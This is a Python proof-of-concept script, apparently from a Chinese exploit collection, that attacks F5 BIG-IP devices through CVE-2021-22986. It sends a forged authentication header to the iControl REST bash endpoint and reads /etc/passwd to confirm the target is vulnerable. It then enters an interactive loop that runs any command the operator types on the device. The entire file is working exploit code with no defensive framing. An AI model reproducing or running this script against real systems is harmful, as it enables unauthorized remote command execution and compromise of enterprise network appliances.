F5 BIG-IP 远程代码执行漏洞 CVE-2021-22986.py
2.73 KB / 2021-07-04 06:01:08
import requests
import sys
import random
import re
import base64
import time
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: F5 BIG-IP \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
vuln_url = target_url + "/mgmt/tm/util/bash"
headers = {
"Authorization": "Basic YWRtaW46QVNhc1M=",
"X-F5-Auth-Token": "",
"Content-Type": "application/json"
}
data = '''{"command":"run","utilCmdArgs":"-c 'cat /etc/passwd'"}'''
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
if 'root' in response.text and response.status_code == 200:
print("\033[32m[o] 目标 {}存在漏洞,响应为:{} \033[0m".format(target_url, json.loads(response.text)["commandResult"]))
while True:
Cmd = str(input("\033[35mCmd >>> \033[0m"))
POC_2(target_url, Cmd)
else:
print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))
except Exception as e:
print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url), e)
def POC_2(target_url, Cmd):
vuln_url = target_url + "/mgmt/tm/util/bash"
headers = {
"Authorization": "Basic YWRtaW46QVNhc1M=",
"X-F5-Auth-Token": "",
"Content-Type": "application/json"
}
Cmd = "'" + Cmd + "'"
data = '{"command":"run","utilCmdArgs":"-c %s"}' % Cmd
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
print("\033[32m{} \033[0m".format(json.loads(response.text)["commandResult"]))
except Exception as e:
print("\033[31m[x] 命令执行失败 \033[0m".format(target_url), e)
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)